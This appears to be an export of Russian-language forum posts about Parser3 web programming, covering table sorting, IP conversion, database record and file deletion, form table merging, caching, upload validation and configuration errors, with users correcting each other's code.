  }&nbsp;</td>\
[/code]\
Значит когда `id`=124, то удаляет.\
А вот когда пытаюсь прописать `id`='$links.id', то отказывается.\
Чего делать?"
"37135","особенно понравилось то, что написано внутри @href =)\
\
предлагаю (уже не первый раз) читать книжки чтобы появилось понимание что где и когба выполняется."
"37144","Пусть есть таблица:\
[code]\
id   name   count\
1    n1     c1\
2    b2     f3\
\
\
Сначала, естественно:\
  $table[^table::load[/content.table]]\
\
\
А вот дальше :)\
  ^table.sort{$table.id; $table.count}\
[/code]\
\
Как сделать сортировку по нескольким условиям?"
"37145","[code]\
^table.sort{$table.stringKey ^table.integerKey.format[%010d]}\
[/code]"
"37147","Это же endless loop"
"37149","<style type=\"text/css\"><!-- @import:url('/css/main.css'); --></style>\
\
Этот import - не парсеровская конструкция разве?\
\
http://sub.rambler.ru/catalog/"
"37150","тогда не должно прокатывать по:\
RewriteCond %{REQUEST_FILENAME} !-f"
"37153","Посмотрел заголовки от сервера - все правильно. \
Сделал это так:\
  $response:download[^file::load[text;$filename]]\
  $response:expires[Fri, 23 Mar 2001 09:32:23 GMT]\
  $response:cache-control[no-cache, must-revalidate]\
  $response:pragma[no-cache]\
\
Извиняюсь за беспокойство,\
Дмитрий."
"37154","отступление: ваш код малоосмыслен: надеяться на значения поля id неконцептуально :)\
\
но, если речь идёт о числах, то можно так:\
[code]\
^table.sort($table.intKeyFirst*1e10 + $table.intFieldSecond)\
[/code]\
с соглядкой на реальные значения и вместимость double."
"37158","как оказалось у парсера с double не работают битовые операции, сдвиговые операции, деление нацело и получение остатка от деления.\
\
вот какие придумались варианты (в комментариях время выполнения и сожраная память):\
[code]\
###########################################################################\
# 5000 итераций: out of memory\
# 3000 итераций: time = 1061.96, memory_kb = 15808\
@intToIp1[num][d;d1;d2;d3]\
$d(^num.double[])\
$d1(^math:floor($d / 0x1000000))\
^d.dec($d1 * 0x1000000)\
$d2(^math:floor($d / 0x10000))\
^d.dec($d2 << 16)\
$d3(^math:floor($d / 0x100))\
^d.dec($d3 << 8)\
$result[${d1}.${d2}.${d3}.^d.format[%d]]\
#end @intToIp[]\
\
\
\
###########################################################################\
# 5000 итераций: out of memory\
# 3000 итераций: time = 1288.62, memory_kb = 19464\
@intToIp2[num][d;d1]\
$d[^num.format[%08x]]\
$result[$d1[0x^d.left(2)]^eval($d1).$d1[0x^d.mid(2;2)]^eval($d1).$d1[0x^d.mid(4;2)]^eval($d1).$d1[0x^d.right(2)]^eval($d1)]\
#end @intToIp[]\
\
\
\
###########################################################################\
# 5000 итераций: time = 1240.1, memory_kb = 15576\
# 3000 итераций: time = 736.207, memory_kb = 9332\
@intToIp3[num][d;d1;d2;d3]\
$d(^num.double[])\
$d4($d % 0x100)\
$d3((($d - $d4) % 0x10000) >> 8)\
$d2((($d - $d4 - $d3) % 0x1000000) >> 16)\
$d1(^math:floor(($d - $d4 - $d3 - $d2) / 0x1000000))\
$result[${d1}.${d2}.${d3}.$d4]\
#end @intToIp[]\
\
\
\
\
###########################################################################\
# 5000 итераций: time = 1190.26, memory_kb = 15660\
# 3000 итераций: time = 703.762, memory_kb = 9376\
@intToIp4[num][d;dd;d1;d2;d3;d4]\
$d(^num.double[])\
$d1(^math:floor($d / 0x1000000))\
$dd($d % 0x1000000)\
$d2(($dd >> 16) & 0xFF)\
$d3(($dd >> 8) & 0xFF)\
$d4(($dd) & 0xFF)\
$result[${d1}.${d2}.${d3}.$d4]\
#end @intToIp[]\
\
\
###########################################################################\
@main[]\
$ints[^table::create{num\
4278058235\
3583543172\
}]\
\
^ints.menu{\
	$ints.num = ^intToIp[$ints.num]\
}[<br />]\
\
\
<hr />\
\
^run_time{\
	^for[i](0;5000){^ints.menu{$tmp[^intToIp[$ints.num]]}}\
}[v]\
time = $v.time, memory_kb = $v.memory_kb\
[/code]\
\
\
т.е. варианты 3 и 4 примерно одинаковые по скорости/памяти"
"37159","а вовсе не впихивают в рамки max unsigned int.\
\
думаю. может можно найти подходящую замену используемой библиотечной функции."
"37160","Без кавычек тоже не работает"
"37162","Ув. тов. разработчики, никто не занимался или не планировал заняться встраиванием api memcached (http://www.danga.com/memcached/apis.bml) в ядро парсера?\
\
Попробовал реализовать общение с парсером через python прослойку и очень понравилось, но уж хотелось бы что-то типа memcached:// или int::memcached/string::memcached :)"
"37164","http://www.parser.ru/examples/\
http://www.spearance.ru/parser3/\
http://www.egoroff.spb.ru/\
\
?"
"37165","Парсер - это вам не яваскрипт, это серверный язык, т.е. выполняется на сервере, а не у клиента. Когда вы нажимаете на ссылку - уходит запрос к серверу, тот в свою очередь выполняет какие-то, вами определенные, действия, соответствующие запросу клиента.\
\
[code]\
^connect[$connect_string]{\
	$links[^table::sql{SELECT * FROM links ORDER BY `id`}]\
\
# вместо звездочки - указывайте все нужные поля чтобы\
# в будущем код был понятен и вам и может быть еще кому\
\
	^if($links){\
	    ^links.menu{\
			<a href=\"$links[^table::sql{DELETE FROM `links` WHERE `id`=124}] \"><nobr>Удалить</nobr></a>\
\
# тут все самое интересное и начинается:\
\
# 1. зачем выбирать ВСЕ поля таблицы, если вы их\
# не используете?\
\
# 2. table::sql - возвращает таблицу, вам же\
# не нужно ничего возвращать, нужно всего лишь\
# удалить запись из базы. используйте void:sql\
\
# 3. когда вы пишете явное значение id - удаление\
# происходит при загрузке страницы, а не при нажатии\
# на ссылку. Если вы посмотрите код откртой странички\
# (view source) - то увидите: <a href=\" \"><nobr>Удалить</nobr></a>\
\
		}[]\
\
# Если вы не используете разделить, то и скобки\
# писать не нужно\
\
	}{Удалять нечего}\
}&nbsp;</td>\
[/code]\
\
\
А теперь примерно как должно быть:\
\
[code]\
...\
^if($links){\
	<ul>\
	^links.menu{\
		<li>$links.title (<a href=\"?do=delete&id=$links.id\">удалить</a>)</li>\
	}\
	</ul>\
}\
...\
^if($def $form:do && $form:do eq 'delete' && ^form:id.int[]){\
	^void:sql{DELETE FROM links WHERE id = $form:id}\
}\
[/code]"
"37166","да уж. часть ошибок исправлено, другие наворочены.\
1. ^if($def $form:do && $form:do eq 'delete'... -> ^if($form:do eq 'delete' ибо если $form:do eq 'delete' то ежу понятно что она def, плюс пишется обычно 'def', а не '$def'\
\
2. (... ^form:id.int[]) писать нельзя, т.к. если придет не число то этот код выдаст ошибку, а нам надо проверить и убедится что пришло число и не разваливаться на этой на ошибках, поэтому (... ^form:id.int(0))\
\
3. эти проверка и само удаление должно быть [b]до[/b] доставания всех записей, потому что если нажали ссылку удалить то нам надо сделать это, и потом достать оставшиеся записи, без той что только что была удалена.\
\
4. WHERE id = $form:id -> WHERE id = ^form:id.int(0)\
\
5. можно вообще убрать все что связано с элементом формы do и ссылку на удаление делать так ?delete_id=$links.id, с уменьшением последующих проверок."
"37167","1. Ну на счет $def - случайность :) А если $form:do не указана, то она и сравниваться не будет, так?\
\
2. ^form:id.int(0) - если не укзаана $form:id, или она не является не чилом, тогда нам будет возвращен ноль, а потом мы пытаемся из базы вытащить запись с номером ноль. Может быть лучше все это в try?\
\
3. В каком порядке разбирал ошибки - в том и написал не задумываясь :)"
"37168","Есть сервер под Win и под *nix (FreeBSD) находящиеся в одной локальной сети.\
Под Win-сервером работает MS SQL, под FreeBSD - MySQL. \
На FreeBSD-машине находится сайт (Apache/Parser 3.1.4).\
\
Так вот, если возникнет задача сделать запрос из парсеровского скритпа к MS SQL, реально ли это сделать? И на оборот, скажем, средствами MS Access чтобы админ мог c работать MySQL?\
\
Нашел пока такое решение - Unix ODBS. Кто-нибудь решал подобные задачи? \
Работает ли это в принципе?"
"37170","1. да, сравнения не будет, но $form:do eq \"delete\" простая для парсера операция. подобные конструкции лучше использовать когда это реально нужно, например тут: ^if(def $form:do && ^checkAllFields[$form:fields]){..} если в @checkAllFields[] какие-нить сложные проверки, чтобы до них даже дело не доходило.\
\
2. ну и что что будет запрос для доставания записи с id=0 (вообще-то его не будет, т.к. предлагается таки написать:\
^if($form:do eq 'delete' && ^form:id.int(0)){...}). ну будет получено от сервера 0 строк. последующая ^if($links){...} не сработает. try тут излишен.\
\
3. хм. не задумываясь лучше не давать подсказок. а то получается что в подсказках ошибок и синтаксических и логических по самое не балуйся."
"37172","Ее содержимое, если верить документации mod_rewrite, в основном от желания каких-то высших сил зависит."
"37173","Короче парсер к БД начал коннектится, но теперь у меня вместо всех русских букв выводятся вопросики.\
В БД храню данные в cp1251. Через MySQL-Front 3.2 просматириваю всё нормально отображется текст в БД\
А начинаю парсером выводить данные вместо букв вопросики: \"???? ???\" и т.п."
"37174","Спасибо за ответы и за советы.\
В споре родилась истина ;)\
Вот так работает.\
[code]\
^connect[$connect_string]{ \
 ^if(def $form:do && $form:do eq 'delete' && ^form:id.int[]){\
     ^void:sql{DELETE FROM links WHERE id = ^form:id.int(0)}\
}\
      $links[^table::sql{SELECT * FROM links ORDER BY `id` }] \
       ^if($links){ \
\
    ^links.menu{<br>\
Название ссылки:$links.name<br>\
Идентификационный номер:$links.id (<a href=\"?do=delete&id=$links.id\">Удалить</a>)<br>\
        }\
  \
           }{Ссылок пока нет} \
\
    }\
[/code]\
[b]Вот только можно подробнее про этлементы формы?[/b]\
Я пробовал без них, но не получилось."
"37175","надо было ставить кодировки не \"cp1251\" всюду в мускуле, а \"binary\"\
постигается всё методом проб и ошибок :)"
"37177","[b]Что есть:[/b]\
\
Три таблицы (first,second,third) с одинаковым столбцом (field), количество строк одинаково, при чем первая строка первой таблицы соответствует первой строке второй таблицы и первой же строке третьей таблицы. И так далее.\
\
[b]Что нужно:[/b]\
\
Обединить их в одну таблицу (table) со столбцами (first,second,third)\
\
Пока вижу только одно решение: делать ^first.menu{}, а внутри добавлять в новую таблицу строки, заодно вручную смещая указатели двух других таблиц (^second.offset()). Есть ли более «правильное» решение?"
"37178","тупо в лоб - все таблицы транспонировать (flip), объеденить (join)и обратно транспонировать\
\
... хотя врядли такое решение можно назвать изящным :))"
"37180","1 Откуда берутся эти таблицы из текстового файлика или из SQL\
Если из SQL, то средсвами SQL\
Если из текстового файла, то можно создать из каждой таблицы хеш с клчём field, а там в зависимости от задачи либо построение таблицы либо использование данных"
"37182","Все гораздо хуже. Таблицы беруться из формы 8), см. [url=\"http://www.parser.ru/docs/lang/formtables.htm\"]tables. Получение множества значений поля[/url]\
\
У меня есть два выпадающих списка и одно текстовое поле. А еще рядом с ними есть две кнопочки (+ и -), сделано как прикрепление файлов к письму на [url=\"http://mail.yandex.ru/\"]Яндекс.Почте[/url], чтобы можно было добавлять много значений сразу. Ладно, проще и правильнее будет привести код:\
\
[code]\
@auto[]\
^if(def $form:fields){\
	^rem{### спектакли ###}\
	$perfomances[$form:tables.perfomance]\
	^rem{### актеры ###}\
	$actors[$form:tables.actor]\
	^rem{### роли ###}\
	$roles[$form:tables.role]\
}\
# end @auto[]\
##############################\
\
@form[]\
^rem{### Скрипт, дублирующий и удаляющий строки таблицы ###}\
<script language=\"JavaScript\">\
	function drop(btn){\
		if(document.getElementById) {\
			tr = btn;\
			while (tr.tagName != 'TR') tr = tr.parentNode;\
			tr.parentNode.removeChild(tr);\
			checkForLast();\
		}\
	}\
	function add(btn){\
		if(document.getElementById) {\
			tr = btn;\
			while (tr.tagName != 'TR') tr = tr.parentNode;\
			var idSuffix = Math.round(Math.random()*1000);\
			var newTr = tr.parentNode.insertBefore(tr.cloneNode(true),tr.nextSibling);\
			thisChilds = newTr.getElementsByTagName('td');\
			for (var i = 0; i < thisChilds.length; i++){\
				if (thisChilds[i].className == 'role') thisChilds[i].innerHTML = '<input type=\"text\" name=\"role\" value=\"\">';\
			}\
			checkForLast();\
		}\
	}\
	function checkForLast(){\
		btns = document.getElementsByName('drop');\
		for (i = 0; i < btns.length; i++){\
			btns[i].disabled = (btns.length == 1) ? true : false;\
		}\
	}\
</script>\
\
<form action=\"$request:uri\" method=\"post\">\
<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\"><tr><td>\
	<table cellspacing=\"0\" cellpadding=\"2\" border=\"0\">\
		<tr>\
			<td>Спектакль:</td>\
			<td>Актер:</td>\
			<td>Роль:</td>\
			<td colspan=\"2\">^spacer[]</td>\
		</tr>\
		<tr>\
			<td>\
				^rem{### Список спектаклей ###}\
				<select name=\"perfomance\">\
					<option value=\"\"></option>\
					^perfomances.menu{\
						<option value=\"$perfomances.id\">$perfomances.title</option>\
					}\
				</select>\
			</td>\
			<td>\
				^rem{### Список актеров ###}\
				<select name=\"actor\">\
					<option value=\"\"></option>\
					^actors.menu{\
						<option value=\"$actors.id\">$actors.name</option>\
					}\
				</select>\
			</td>\
			<td class=\"role\">\
				^rem{### Роль выбранного актера в выбранном спектакле ###}\
				<input type=\"text\" name=\"role\" value=\"\">\
			</td>\
			<td><input type=\"button\" name=\"drop\" value=\" - \" onClick=\"drop(this)^;\"></td>\
			<td><input type=\"button\" value=\" + \" onClick=\"add(this)^;\"></td></td>\
		</tr>\
	</table>\
	<script language=\"Javascript\">if(document.getElementById) checkForLast();</script>\
</td></tr></table>\
<input type=\"submit\" value=\"Добавить\">\
</form>\
# end @form[]\
##############################\
[/code]"
"37183","И на том спасибо, работает и хорошо. Будем искать изящность :)\
\
Вот что получилось:\
\
[code]\
@auto[]\
^if(def $form:fields){\
	$perfomances[$form:tables.perfomance]\
	$actors[$form:tables.actor]\
	$roles[$form:tables.role]\
\
	$p_flip[^perfomances.flip[]]\
	$a_flip[^actors.flip[]]\
	$r_flip[^roles.flip[]]\
\
	$table[$p_flip]\
	^table.join[$a_flip]\
	^table.join[$r_flip]\
\
	$table[^table.flip[]]\
}\
[/code]\
\
\
\
\
[b]APPEND:[/b]\
Все, максимально сократили запись. Дальше уже какжется некуда. Теперь можно добавлять данные в базу и пользоваться. :)\
[code]\
@auto[]\
^if($form:fields){\
	$table[^form:tables.perfomance.flip[]]\
	^table.join[^form:tables.actor.flip[]]\
	^table.join[^form:tables.role.flip[]]\
	$table[^table.flip[]]\
}\
[/code]\
\
\
А еще есть способы решения этой задачи? Может быть кто-нибудь сталкивался?"
"37184","воспользуйтесь поиском по форуму, вопрос обсуждался."
"37185","более правильное решение таким сексом вообще не заниматься.\
\
и хранить данные в объектах, потому что работать с объектами гораздо проще.\
\
я лично почти не пользуюсь table, использую таблицу только для доставания из базы."
"37187","Поподробней?...\
\
Если задача сводится к тому, что есть три массива объектов и мне надо создать четвёртый массив объектов, который будет содержать все значения трёх другий, то задача решается приблизительно вот так.\
\
[code]\
# заполнились из разных источников\
$array1[^ArrayList::new[]]\
$array2[^ArrayList::new[]]\
$array3[^ArrayList::new[]]\
\
$result[^ArrayList::new[]]\
^result.AddRange[$array1]\
^result.AddRange[$array2]\
^result.AddRange[$array3]\
[/code]"
"37189","Компания разработчик веб-сайтов приглашает на работу web-программиста. Знания: проектирование программного обеспечения для веб-сайтов и баз данных. Умение работать с PHP, Parser, SQL. Приветствуется наличие навыков работы с JavaScript, HTML, CSS.\
Ответы на вопросы и доп. инфо по ICQ: 10090046, php_sql@mail.ru"
"37190","Офис находится в Москве, гибкий график"
"37192","Не быстрее транспонирования?"
"37194","1. Чтобы можно было в разделе «Спектакли» перечислить всех занятых в спектакле актеров с их ролями.\
\
2. В разделе «Актеры» можно было перечилить спектакли (вместе с ролями) в которых занят актер.\
\
Плюс нужно чтобы можно было добавить много ролей сразу (это гораздо удобнее чем по одной, особенно когда база еще чистая и надо добавить очень много записей), я вспомнил что подобное было на Яндекс.Почте и посмотрел их реализацию - другой все равно не знаю. Естественно при нажатии на кнопку + или - не должна перезагружаться страница. Иначе и вопросов бы не было."
"37195","Да здесь и не очень важны несущественные отличия в скорости - это админка. К тому же не таких больших размеров таблицы."
"37196","Что за методы такие ArrayList и AddRange?"
"37198","это не связано с визуальным представлением данных (визуальное представление мен тоже не нравится). \
\
ну да ладно, я просто спросил. делайте как вам удобнее :)"
"37200","И я такое постоянно на PERL делаю. Использую только телепрограммы, которые можно получить или скачать одним архивом с кучей каналов в текстовом формате. Разархивирую нужные каналы, пересортировываю по дням недели, преобразовываю в HTML с выделением цветом, шрифтом, загружаю в Word и распечатываю в виде буклета. Жаль, что после праздников телепрограммы могут подолгу не обновляться. http://www.namsilat.mykolayiv.com/tv/soft/TVALL.ZIP - не обновляется с декабря. На http://www.inform-tb.poltava.ua/ тоже уже 2 недели нет обновления. Может кто подскажет другие источники?"
"37201","Грубо говоря да... а так как они у меня уже давно написаны, то я расслабляюсь и получаю удовольствие :-)"
"37203","Извиняюсь за пред-й пост. Я уже сам понял где тупил. Мне очень стыдно.\
Пример кода. Выводит список файлов из каталога и маленькие образы файлов.\
Вот только как в данном примере одновременно удалением записи из базы удалить сам файл из каталога?\
Нужно, видимо, уже по имени файла удалять? Пытался по аналогии, но только через str[]. Не удалось :(\
[code]\
<span class=\"afisha_folder\">Существующие файлы:</span><br>\
$list[^file:list[upload/photos/;.jpg]] \
^list.menu{ \
<br>\
  <span class=\"text_udokan\">$list.name</span>\
}\
<hr><br>\
^connect[$connect_string]{ \
^if(def $form:do && $form:do eq 'delete' && ^form:id.int[]){\
^void:sql{DELETE FROM picture WHERE id = ^form:id.int(0)}\
}\
$picture[^table::sql{SELECT id, fname FROM picture ORDER BY `id` }] \
^if($picture){ \
        ^picture.menu{ \
               $photo[^image::measure[upload/photos/$picture.fname]] \
<a href=\"upload/photos/$picture.fname\" target=\"_blank\">Просмотр</a>\
(<a href=\"?do=delete&id=$picture.id\">Удалить</a>)\
		^photo.html[ \
		$photo.width[50]\
		$photo.height[50]\
		$.border[1] \
		$.alt[$picture.fname]] \
        }[<br>^memory:compact[]\
        ] \
     }{Картинок пока нет} \
  }\
[/code]"
"37205","добавить, сами понимаете, несложно.\
вероятно, стоит добавлять прямо в оператор ^cache.\
\
сразу вопрос: чем вам ^cache кажется плохим?\
да, файловая система, но процент выигрыша по сравнению с ней будет значителен только на [b]очень многих[/b] мелких кусочках.\
а что такого можно кэшировать -- малопонятно."
"37206","^cache[] сохраняет текстовые блоки - результат работы.\
memcache дает возможность хранения двоичной информации - промежуточных данных - хэшей, таблиц, строк и чисел, давая удобный интерфейс работы."
"37207","Все что мне нужно - это записать в базу данные так, чтобы в базе первые три ячейки были заполненны первыми ячейками (строками, т.к. в строке всего одна ячейка) из трех таблиц, вторые три ячейки (вторая строка) вторыми ячейками из тех же таблиц и так далее. Если можно как-то сразу, напрямую записывать в базу, не объеденяя таблицы — подскажите пожалуйста, буду очень признателен :)"
"37208","[code]\
# Сначала, достаем данные из базы, смотрим список существующий файлов,\
# а потом выводим все вместе:\
$path_photos[/upload/photos]\
$list[^file:list[$path_photos;.jpg]]\
^connect[$connect_string]{\
	^if(^form:del_id.int(0)){\
		$file_to_delete[^string:sql{\
			SELECT\
				fname\
			FROM\
				picture\
			WHERE\
				id = ^form:del_id.int(0)\
		}]\
		^void:sql{\
			DELETE FROM\
				picture\
			WHERE\
				id = ^form:del_id.int(0)\
		}\
		^file:delete[$path_photos/$file_to_delete.fname]\
	}\
	$pictures[^table::sql{\
		SELECT\
			id,\
			fname\
		FROM\
			picture\
		ORDER BY\
			id\
	}]\
}\
\
<span class=\"afisha_folder\">Существующие файлы:</span><br>\
^list.menu{\
	<span class=\"text_udokan\">$list.name</span>\
}[<br>]\
\
^if($picture){\
	<ul>\
	^picture.menu{\
		$photo[^image::measure[$path_photos/$picture.fname]]\
		<li>\
			<a href=\"$path_photos/$picture.fname\" target=\"_blank\">Открыть в полный размер</a>\
			(<a href=\"?del_id=$picture.id\" style=\"color: #ff0000^;\">Удалить</a>)\
			^photo.html[\
				$.width(50)\
				$.height(50)\
				$.border(1)\
# числовые значения - круглые скобки\
				$.alt[$picture.fname]\
# строковые - квадратные\
# (код - в фигурных)\
# Остается непонятным: картинки всегда квадратные?\
# К тому, же вы уменьшаете картинку \"жестко\", может\
# быть лучше хранить уменьшенную копию?\
# Посмотрите в примерах: http://www.parser.ru/examples/imagemagic/\
			]\
		</li>\
	}\
	</ul>\
}{\
	<font color=\"#999999\">Картинок пока нет</font>\
}\
[/code]"
"37209","... сформировать запрос к базе на основе информации из трех таблиц? Или цикл for уже отменили? :)"
"37210","ведь кому-то надо будет эти самые хэши и таблицы в нужный вид превращать.\
у меня в памяти они лежат, понятно, вовсе не последовательными байтами.\
\
вы какую посещаемость ожидаете?\
а после обычного ^cache сколько раз надо будет в секунду создать новую страницу?\
\
посчитайте/оцените, нужно ли оно вам на самом деле.\
\
рассмотрите apache+mod_parser3, где кэшируются sql соединения и скомпилированные XSL шаблоны."
"37212","[code]\
$file_to_delete[^string:sql{\
SELECT\
fname\
FROM\
picture\
WHERE\
id = ^form:del_id.int(0)\
}]\
[/code]\
Если записи с id = ^form:del_id.int(0) нет, то все обвалится с жутким треском"
"37213","Структура сайта хранится в дереве, а-ля [url=\"http://www.egoroff.spb.ru/portfolio/15.html\"]Егоров[/url]. \
Некоторые страницы - интерфейсы к БД. Все генерируемые из БД страницы описывать в базе разделов нереально, а иметь ЧПУ хочется.\
\
Первое решение - дополнительное RewriteRule для таких УРЛ с редиректом на другой файл. Минус - CMS нужно научить парсить и записывать RewriteRule в .htaccess\
\
Второе - решение на уровне Parser. Заводим раздел с dir равным *. Код приобретает пару конструкций:\
[code]\
#В urls список всех УРЛ сайта, в uri текущий\
\
#Поиск текущего раздела в списке всех УРЛ сайта\
^if(^urls.locate(($urls.uri eq $uri) || (^urls.uri.right(1) eq \"*\") && (^uri.pos[^urls.uri.trim[end;*]]==0))){...\
\
#Редирект на файл с кодом вывода данных из БД\
$response:location[$pages.file?$uri.mid(^urls.uri.length[]-2)]\
[/code]\
\
Насколько критично второй вариант медленней?"
"37214","[code]\
# Вряд ли обвалится, потому что не дойдет до того места:\
^if(^form:del_id.int(0)){\
...\
[/code]"
"37216","Что это такое и как в линухе это лечить"
"37217","А если придет из формы не строка, а число. Например 56. А записи с id=56 нет. Попробуй."
"37218","на одну вам уже указали.\
есть ещё одна \"синтаксическая\" и две логические.\
\
если бы это был ваш вопрос я бы исправил, но исправлять для того чтобы пользовался человек, не желающий сам думать я не хочу. могу написать в почту."
"37220","1. А что делает первый параметр \"text\"? \
2. $.separatorх] и $.encloser[] - ключи одного хеша, не надо их разделять.\
3. Если б даже все было правельно, у вас имя файла будет с переносом строки и вряд ли загрузится..."
"37221","Будет ли гарантированно, что в случае exception в коде \
[code]\
	^try{\
#		добавление элемента\
		$result(^_addNode[$param])\
	}{\
#		откат при ошибке\
		^_trackBackAddNode[$]\
		$result(0)\
	}\
[/code]\
объязательно выполнится ^trackBackAddNode[], а сама ошибка уйдет наверх, где ее можно перехватить?"
"37222","Да я сам уже поправил. Правда, скорее всего не все.......\
Так что спасибо за помощь всем.\
Вот кусок рабочего кода:\
[code]\
$path_photos[upload/photos]\
$list[^file:list[$path_photos;.jpg]]\
<span class=\"afisha_folder\">Существующие файлы:</span><br>\
^list.menu{\
      <span class=\"text_udokan\">$list.name</span><br>\
}\
^connect[$connect_string]{\
^if(^form:del_id.int(0)){\
$file_to_delete[^string:sql{ SELECT fname FROM  picture  WHERE  id = ^form:del_id.int(0)}] \
^file:delete[$path_photos/$file_to_delete]\
^void:sql{ DELETE FROM  picture  WHERE  id = ^form:del_id.int(0)}\
Имя удаляемого файла: $file_to_delete<br>\
}\
[/code]\
Нужно будет только делать запрет на добаление в базу идентичных по полю fname записей.\
Плюс, не знаю куда воткнуть вывод списка файлов, поскольку только что удалённый файл из списка не удаляется, \
а только при следующем проходе по коду. Куда не ткну, одно и то же.\
=================================================\
Кстати, кому интересно. По поводу [b]$file.name[/b].\
Вся проблема была в том, что имя я пытался воткнуть во вторую часть этого выражения, т.е. заместо \"name\".\
Вот и пёрли ошибки."
"37223","Чё делать !\
\
хостер - www.ezone.ru"
"37226","конечно, медленнее, особенно при разрастании urls"
"37227","Я новый пользователь парсера3 и хочу сказать спасибо за это чудо!!!!"
"37229","а теперь я решил сделать Imprimatur 3...:-)))\
...буду рад любой помощи и наводке на правильный путь!!!"
"37230","Как сделать поисковую систему по артикулам товара как на этом сайте, и возможно ли сделать её на parser[url=\"http://www.ru.leondirect.net/ctlg.php\"][/url]"
"37233","Да, это понятно... Можно конечно протестировать первый и второй вариант, и возможно в перспективе я это сделаю... Просто хотелось знать экспертную оценку. С той точки зрения, что вот есть быстрые операции: [code]$i>>2[/code] а есть медленные: [code]$str.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,4}^$][/code]\
Так вот насколько медленные операции приведены в первом посте?"
"37234","Здравствуйте! Скачал Денвер, установил…\
Почитал Документацию…\
Сделал точно по документации меню навигации…\
\
А Парсер выдаёт ошибку следующего содержания:\
Unhandled Exception (Debug)\
column not found\
uri\
z:/home/test2.ru/www/auto.p(7)\
exception.type=parser.runtime \
 \
menu z:/home/test2.ru/www/auto.p(5)\
navigation z:/home/test2.ru/www/index.html(4)\
\
Парсер у меня работает это 100%! Я тестировал файл с «2*2=4»\
Всё работает, я даже залез на пару уроков вперёд и попробовал сделать раздел новостей\
И он работает! А меню навигации не работает, я думаю, что это с табуляцией. Её я прописал так:\
section_id name uri\
1 Главная /\
2 Новости /news/\
3 контакты /contacts/\
4 цены /price/\
5 Ваше мнение /gbook/\
\
Помогите, пожалуйста! Очень хочу работать на Парсере&#61514;"
"37235","Когда я ввожу в код шаблона вот такой вот символ $rrar; , то у меня вместо стрелочки показывается ;\
Что это значит и как этого избежать??"
"37241","У меня на денвере стоят два сайта. Один сделан с использованием SSI, другой на Парсере. В остальном сайты одинаковые. Страницы сайта на SSI c большими статьями грузятся максимум 1 секунду. А вот на парсерном сайте теже страницы секунд 5. Почему такое происходит?"
"37243","У меня стоит денвер.\
В главном auto.p: (пробовал \"/class\", \"class/\" и т.д.)\
[code]\
$MAIN:CLASS_PATH[^table::create{path\
/class/\
}]\
[/code]\
Классы лежат в /home/site.ru/www/class\
\
Всё это действо приводит к такой ошибке:\
[quot]\
Unhandled Exception (Debug)\
\
not found along MAIN:CLASS_PATH\
\
\
()\
\
exception.type=parser.runtime\
[/quot]\
\
Subj!"
"37246","к ней может приводить попытка подключить классы, но вы забыли сообщить доктору как вы пытаетесь их подключать."
"37247","В /home/site.ru/www/auto.p:\
[code]\
@USE\
mysql.p\
lib.p\
auth.p\
[/code]"
"37248","Какой-то из классов в авторизации был старой версии, остальные новые.."
"37249","<br /> желательно использовать для xml совместимости"
"37250","Если используется \"дерево, а-ля Егоров\" то посмотрите как там все происходит.\
\
Если хочеться имеено так как вы тут написали, то обратите взор на директиву RewriteMap от mod_rewrite. Нужно просто генерировать plain text файл, но это решение будет на порядок выше, поскольку там кэш на уровне Apache."
"37251","Доброго. а каким образом можно проверить пришла ли мне из формы картинка (gif, jpg) или это какой то мусор? Просто сравнивать расширения или есть глабальный подход. \
\
И еще можно ли поставить права на директорию что бы в ней не запускались файлы... например чтобы мне через форму не загрузили php скрипт и не исполнили его тем самым получив не нужный доступ куда не следовало... или в .htaccess для данной директории запретить обрабатывать php? \
\
Подскажите пожалуйста правильное решение, так как стокнулся с этими двумя проблемами впервые. Заранее благодарен."
"37252","см. ^try и ^image::measure"
"37253","Во! Вот это правильный подход! Риспект!"
"37254","[code]\
$ext[^file:justext[$form:file.name]]\
$temp_file[$dir/temp.$ext]\
$uploaded_file[$dir/${name}.$ext]\
\
^try{\
  ^form:file.save[binary;$temp_file]\
  $tmp[^image::measure[$temp_file]]\
  ^file:move[$temp_file;$uploaded_file]\
}{\
  $exception.handled(1)\
  ^try{\
    ^file:delete[$temp_file]\
  }{\
    $exception.handled(1)\
  }\
}\
[/code]"
"37256","Engine v.3\
я понял что в таблице object храниться информация о структуре сайта (то есть разделах).\
а почему тогда в таблице object_type есть тип global (id=3). В объекте данного типа хранится глобальная для этого сайта информация (например текст футера), то есть в таблице object размещается не только информация (структура) о разделах, но и о частях раздела?\
для чего это нужно?"
"37257","Да, ещё, была проблема с обновлением при оставшемся запросе. Решилась так. Вот весь код:\
[code]\
$path_photos[upload/photos]\
^connect[$connect_string]{\
^if(^form:del_id.int(0)){\
$file_to_delete[^string:sql{ SELECT fname FROM  picture  WHERE  id = ^form:del_id.int(0)}[$.default{$file_to_delete}]]\
^if(def $file_to_delete){\
^file:delete[$path_photos/$file_to_delete]\
^void:sql{ DELETE FROM  picture  WHERE  id = ^form:del_id.int(0)}\
Файл<span class=\"text_udokan\"> $file_to_delete </span>удалён<br>\
}\
}\
        $picture[^table::sql{ SELECT  id, fname  FROM  picture ORDER BY id}]\
}\
$list[^file:list[$path_photos;.jpg]]\
<span class=\"afisha_folder\">Существующие файлы:</span><br>\
^list.menu{\
      <span class=\"text_udokan\">$list.name</span><br>\
}\
^if($picture){\
\
        <ul>\
        ^picture.menu{\
                $photo[^image::measure[$path_photos/$picture.fname]]\
                <li>\
                        <a href=\"$path_photos/$picture.fname\" target=\"_blank\">Полный размер</a>\
                        (<a href=\"?del_id=$picture.id\" style=\"color: #ff0000^;\">Удалить</a>)\
                        ^photo.html[\
                                $.width(50)\
                                $.height(50)\
                                $.border(1)\
                                $.alt[$picture.fname]\
[/code]"
"37260","в реалиях объект с этим типом не имеет своего представления на сайте, но является контейнером для блоков, которые достаются из обработчиков типовых документов конструкцией ^parseBlock[*;$globalObjectId]\
\
т.е. для меня он хорошо вписывается в общую концепцию объекта, и хранить его в другом месте просто незачем.\
\
у меня бывают ещё объекты этого-же типа, которые тоже лишь предоставляют данные, нуобходимые в нескольких местах (например: банеры сайта)."
"37261","Выделить фон у ячейки (красным 8) ) и поместить их друг под другом во втором столбце меню?"
"37262","Для тех кто не читает, все эти изыски бесполезны. А те кто читает, будут думать: \"Ё-моё, лебедевцы в маразм впали\"..."
